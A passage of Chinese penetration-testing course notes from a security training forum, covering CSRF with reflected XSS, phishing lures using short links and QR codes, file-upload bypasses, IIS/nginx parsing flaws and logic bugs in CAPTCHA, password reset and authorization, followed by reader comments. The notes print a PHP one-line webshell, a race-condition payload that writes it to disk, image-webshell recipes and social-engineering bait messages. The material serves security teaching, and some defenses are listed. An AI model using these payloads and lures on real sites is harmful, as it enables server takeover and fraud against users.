生成的HTML在<form>标签中加上id='aaa'属性,然后在</form>标签后加上<script>document.getElementById('aaa').submit();</script>实现自动点击按钮功能

4.7.5 CSRF配合反射型XSS

4.7.5.1 GET传参

当用户访问攻击者的网页,网页会在用户不知情的情况下访问反射型XSS的URL,形成注入

攻击者构造一个HTML网页,其中加上<iframe src="URL" width="0" height="0"/>隐蔽内嵌框架,其中$URL为反射型XSS的URL地址

4.7.5.2 POST/Cookie传参

当用户访问攻击者的网页,网页会在用户不知情的情况下发送含有XSS的数据包,形成注入

攻击者构造一个HTML网页,其中包含能够发送CSRF数据包的代码(详见4.7.4 构造网页),然后在数据包里的POST/Cookie传参中插入XSS语句

4.8 提高用户上钩几率

4.8.1 生成短链接

在线平台生成短链接:https://tool.chinaz.com/tools/dwz.aspx

生成短链接后,用户则会适当降低警惕性

4.8.2 生成二维码

使用Setoolkit工具或在线二维码生成平台:https://cli.im/

二维码复杂程度由链接复杂程度决定,相对而言二维码越复杂用户警惕性越高

建议先生成短链接,然后使用短链接生成二维码

4.8.3 情境伪造 (社工)

可以编造情境使用户更为放松警惕:

  1. 好兄弟,帮我砍一刀:http://host:port/
  2. 我发了一篇文章,你看一下:http://host:port/
  3. 这里有你想看的:http://host:port/

生成二维码之后,有更广的情境:

  1. 扫我加好友:$二维码
  2. 微信/支付宝支付方式:$二维码
  3. 扫码登记信息:$二维码
  4. 扫码关注微信公众号:$二维码

5. 文件解析/截断/验证/伪造上传

优质作业解析: https://bbs.zkaq.cn/homework/62583.html

5.1 文件上传漏洞 定义/防御

5.1.1 定义

上传一个后端脚本文件,中间包含恶意语句(WebShell),并且能够正常访问让服务器解析该文件,就可以控制服务器

5.1.2 防御

作为网站管理员:

  • 设置合适的安全策略 (后端白名单检测)
  • 源码采用正确的逻辑
  • 云存储

优质作业解析: https://bbs.zkaq.cn/homework/62854.html

5.2 WebShell

WebShell定义:对网站用的木马

通常WebShell文件包含将传参字符串解析为代码的功能,使对其传参就能在目标服务器上运行代码,例如PHP一句话木马<?php eval($_REQUEST[8])?>,代表接受传参中键为8的字符串作为代码执行

可以使用菜刀/蚁剑等WebShell管理工具来连接WebShell提供更便捷的管理

5.2.1 图片马

一张能正常显示的图片,图片内容中含有WebShell

图片马本质还是一张图片(图片后缀),可以突破大部分的上传限制,想让网站解析图片马才是难点(解析漏洞)

5.2.1.1 CMD合成图片马

  1. 命令格式:
  2. copy 图片路径/b + WebShell文件路径 图片马名
  3. 假设当前目录下有 1.jpg Webshell 2.php 要合成图片马3.jpg
  4. cmd > copy 1.jpg/b + 2.php 3.jpg

5.2.1.2 HEX改写图片马

HEX改写图片马通常用于改写Gif文件

使用HEX编辑器打开Gif文件,将Gif原本的数据修改为WebShell语句,通常修改位置选择第4~7行

Hex插入Webshell到Gif文件的失败概率偏大(语法结构被破坏),建议直接使用提供好的Gif图片马

5.3 前/后端检测

前端和后端检测都分为两种:

  • 白名单检测 (只放行白名单后缀名的文件)
  • 黑名单检测 (不放行黑名单后缀名的文件,不安全)

5.3.1 前端检测/绕过

前端检测:利用浏览器上的源码检测(JS),符合安全策略后发送数据包(不安全)

前端检测绕过:先发送符合安全策略数据包后,再利用burp修改数据包内容将WebShell插入并放包,形成绕过

5.3.2 后端检测

后端检测:数据包发送到服务器后,依靠服务器端脚本代码检测

后端检测绕过:利用下文的各种方法绕过

5.4 黑名单检测绕过

5.4.1 别名绕过

能解析一种代码文件的后缀名不止一种,发送不在黑名单内且能被解析的后缀名WebShell形成绕过

  1. PHP:.php|.php5|.php4|.php3|.php2|.php1|.phtml
  2. JSP:.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml
  3. ASP:.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx
  4. // 能被解析的后缀名可能不止上面这些
  5. // 例如当黑名单拦截.php时,可以上传.phtml文件

5.4.2 .htaccess文件绕过

上传.htaccess文件来修改规则,让其他后缀文件交给解析程序解析执行 (在当前文件夹生效), 再访问该文件使其被解析绕过

.htaccess用于改变当前文件夹的配置信息

下面是一条将.jpg文件交给php解析的.htaccess文件代码:

  1. AddType application/x-httpd-php .jpg

5.4.3 后缀名大小写绕过

当网站使用windows系统(windows不区分大小写),通过修改后缀名大小写绕过

例如黑名单禁止.php文件上传,上传.PhP文件形成绕过

5.4.4 点/空格绕过法

由于windows文件后缀名最后有点/空格忽略不计,所以发送一个文件后缀名加上点/空格来突破黑名单绕过

Windows无法直接重命名末尾有点/空格的文件,因此必须抓到上传文件的数据包,在数据包里面修改上传文件名的末尾加上点或空格

通常网站只会过滤一次空格和点,因此可以尝试在文件名末尾加上形如. . .的组合后缀

5.4.4 Windows文件流绕过

当目标上传目录的分卷是NTFS时,在上传文件名后加上::$DATA突破黑名单绕过

Windows的NTFS分卷中文件.后缀::$DATA就等于其文件内容

Windows无法直接重命名有:的文件,因此必须抓到上传文件的数据包,在数据包里面修改上传文件名的末尾加上::$DATA

注意当访问该WebShell时,不需要加上::$DATA

  1. 例如网站黑名单:.php
  2. 上传 1.php::$DATA
  3. 后缀 .php::$DATA 黑名单放行
  4. 访问并解析 1.php 形成绕过

5.4.5 双写绕过

当网站会删除一次匹配到的黑名单文本时,使用双写绕过

  1. 例如网站删除文件名中的php
  2. 上传.phphpp -> .ph(php)p -> .php
  3. 经过一次删除后得到的结果是.php

5.5 白名单检测绕过

5.5.1 00截断绕过

当网站后台脚本使用move_uploaded_file()函数时,通过构造白名单后缀文件,在白名单后缀前传入00终止符绕过

move_uploaded_file()读取路径遇到00终止符视为读取结束,而可以构造符合白名单文件后缀名的文件,在其后缀前面加上00终止符00终止符前面加上解析后缀名形成绕过

00终止符需要通过Burp抓包使用Hex模式修改数据包16进制值为00

  1. 白名单:.jpg
  2. 传入:1.php.jpg
  3. Burp抓包修改: 1.php00.jpg
  4. 网站WAF/策略识别后缀名: .jpg -> 放行
  5. move_uploaded_file()读取: 1.php

5.5.2 图片马绕过

当网站放行图片文件时,传入图片马尝试绕过

图片马能绕过大部分的策略(除了部分策略会检测图片数据),成功上传图片马后,需要配合解析漏洞来连接WebShell

5.5.3 二次渲染绕过

当网站使用了二次渲染,上传Gif图片马绕过

二次渲染:对图片数据二次处理,通常不会对Gif前几行数据处理(Gif关键颜色配置)

5.5.4 条件竞争绕过

网站对上传文件的检测与处理逻辑产生缺陷,利用逻辑权限绕过

条件竞争绕过需要传入一个能生成WebShell的代码文件,需要利用到写入文件函数,例如php代码文件<?php file_put_contents('1.php','<?php eval($_REQUEST[8])?>')?>执行后生成一句话木马1.php到当前目录

  1. 假设网站逻辑:
  2. 先将上传到文件移动到目录 -> 检测文件是否合法 -> 删除/重命名并移动文件
  3. 那么在 检测文件是否合法 -> 删除 期间存在空档
  4. 利用空档访问该文件并让服务器解析,就能执行上传的文件代码(写入一句话木马)
  5. 之后根据策略,该文件会被删除,但是写入的一句话木马文件不经过策略,会保留在服务器上
  6. 再通过连接该WebShell,控制服务器

5.6 文件解析漏洞

5.6.1 分号截断漏洞

IIS特定版本视路径包含;将视为截止,通过;构造恶意文件名上传后,文件被白名单放行,但当访问时被IIS6.0截断为解析文件后缀造成解析

例如上传1.asp;.jpg时,.jpg文件符合白名单放行,而访问1.asp;.jpg时,IIS6.0通过;截断获取到的文件是1.asp,造成该文件被当作asp解析

适用范围:IIS 5.x~6.x

5.6.2 目录解析漏洞

IIS特定版本中当文件路径包含.asp/时,访问该文件会被当做asp解析

当文件夹名末尾是.asp时,访问该文件夹下所有文件都将当做asp解析

适用范围: IIS6.0

5.6.3 CGI解析漏洞

网站使用IIS特定版本+nginx特定版本时,访问的文件后加/.php会将该文件当做php解析

例如当访问1.jpg/.php时,服务器提前决定将返回的文件当php解析,而特定版本nginx访问不存在的文件时会回溯上一级,因此回溯到了1.jpg,造成1.jpg被当做php解析

适用范围:IIS 7.0~7.5 nginx8.0.3以下,nginx11

6. 逻辑漏洞

6.1 验证码绕过漏洞

6.1.1 定义

能在有验证码的情况下爆破出账户/密码

6.1.2 原理

  1. 代码的逻辑错误/缺失,利用逻辑缺陷绕过验证码机制
  2. 验证码图像识别
    参考文章 https://blog.csdn.net/qq1140037586/article/details/128455338

优质作业解析: https://bbs.zkaq.cn/homework/62713.html

6.1.3 防御

作为网站管理员:

  1. 采用正确的代码策略
  2. 提高验证码复杂程度
  3. 限制登录次数/频率

6.1.4 分类

  1. 验证码可重用
    抓包后使用一个正确的验证码重复提交数据表,服务器认为验证码正确

    设置验证码失效机制

  2. 验证码在客户端进行
    禁用JS,使用一个正确的验证码能重复提交数据表,验证码不会刷新

    设置验证码机制于服务端

  3. 验证码干扰都过低
    验证码能够被快速地图像识别

    提高验证码复杂程度

  4. 空验证码绕过
    通常发生在提交多次表单后提示需要验证码
    设置验证码值为空/删除数据包验证码字段 能够绕过验证码机制

    提高验证码机制严格性

  5. 验证码直接出现在HTML源码
    写爬虫,爬取每次返回数据包中的验证码

    改用 图片/其他类型 的验证码

  6. 验证码直接出现在Cookie里
    同上,写脚本爬取到Cookie中的验证码

    改用 图片/其他类型 的验证码

  7. 验证码可控制
    审计发送的数据包中是否含有True/False,Yes/No,1/0等开关数值,尝试更变开关是否能够绕过验证码机制

    提高验证码机制严格性

  8. 验证码有规律
    通过某种算法,能推算下个验证码

    提高验证码随机性、多样性、复杂性

  9. 万能验证码
    特殊的验证码,提交后不会进行验证码校对,通常提供给管理员使用,设备常见,网站不常见

    取消 万能验证码 机制

  10. 基于身份的验证码机制
    登陆多次才出现验证码,验证码就是基于身份的验证码机制

    • 基于session:更改Cookie
    • 基于IP:改X-Forwarded-For/挂代理池
    • 基于账户名:爆破用户名 而非密码
  11. 验证码数量有限
    写脚本,获取所有验证码后保存到库,并对每个验证码加上值;爆破时,对比验证码与库中的保存哪个验证码相同,提交该验证码对应的值

    提高验证码数量 / 修改验证码机制

6.2 密码找回、重置漏洞

6.2.1 原理

由于密码找回机制的验证码发送/验证功能出现逻辑缺陷,攻击者能利用其成功找回/重置密码

密码找回的验证码是用于验证用户身份的,而普通的验证码是用来辨别人机的

6.2.2 防御

  1. 采用正确的代码策略
  2. 采用两步验证机制(2FA)
  3. 设置验证码有效时间
  4. 限制登录次数/频率

6.2.3 分类

  1. 前端发送验证码
    通过前端生成验证码,客户端发送的数据包中含有验证码

    设置验证码生成/发送机制于服务端

  2. 验证码可爆破
    没有限制验证次数与频率,可爆破验证码(4/6位)

    限制登录次数/频率,设置验证码有效时间

  3. 越权验证码
    客户端发送数据包中有邮箱/手机号,通过修改数据包里的邮箱/手机号来修改实际发送验证码的邮箱/手机到攻击者的设备来获取验证码
    说明手机号没有和验证码发送绑定

    设置手机与验证码绑定 并设置在服务端生成/发送

6.3 越权漏洞

6.3.1 原理

掌握了一定权限,通过利用代码逻辑漏洞(可控权限传参),做了不属于该权限的事件

通常由于权限没有和会话绑定(后端绑定),并将可控权限参数放入客户端数据包中所造成

优质作业解析: https://bbs.zkaq.cn/homework/62543.html

6.3.2 防御

作为网站管理员:

  • 权限和会话在后端绑定,不由客户端发送可控权限参数

6.3.3 分类

  • 垂直越权
    越权后所做的事件本需要更高级的权限,通指普通用户做了管理员的操作

  • 平行越权
    越权后所做的事件权限等级与原权限等级相同,能够影响相同权限的用户,通指普通用户能以其他用户的身份执行某操作

  • 交叉越权
    越权后所做的事件既能影响同等级用户,又能执行更高权限的操作,既包括垂直越权也包括平行越权

6.3.4 判定

通常需要分析出数据包中包含特定权限的可控传参,通过修改可控传参来做到越权操作,通常为以下键值

  1. id, uid, oid, user, username, phone, email, mobile_phone, account, ...

在GET/POST/Cookie传参均有可能存在可控的权限参数

6.4 支付漏洞

6.4.1 原理

正确的支付模块流程:
用户请求订单 -> 商家建立订单 -> 三方要求用户支付 -> 三方返回结果给商家 -> 商家返回结果给用户

7. 代码审计

用户名金币积分时间理由
格林 8.00 0 2023-08-31 22:10:59 一个受益终生的帖子~~

打赏我,让我更有动力~

5 条回复   |  直到 6个月前 | 1048 次浏览

小玫瑰
发表于 9个月前

1

评论列表

  • 加载数据中...

编写评论内容

zym
发表于 8个月前

1

评论列表

  • 加载数据中...

编写评论内容

格林
发表于 8个月前

代兄,求代 O.o

评论列表

  • 加载数据中...

编写评论内容

guo
发表于 7个月前

1

评论列表

  • 加载数据中...

编写评论内容

moonshing
发表于 6个月前

1

评论列表

  • 加载数据中...

编写评论内容
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.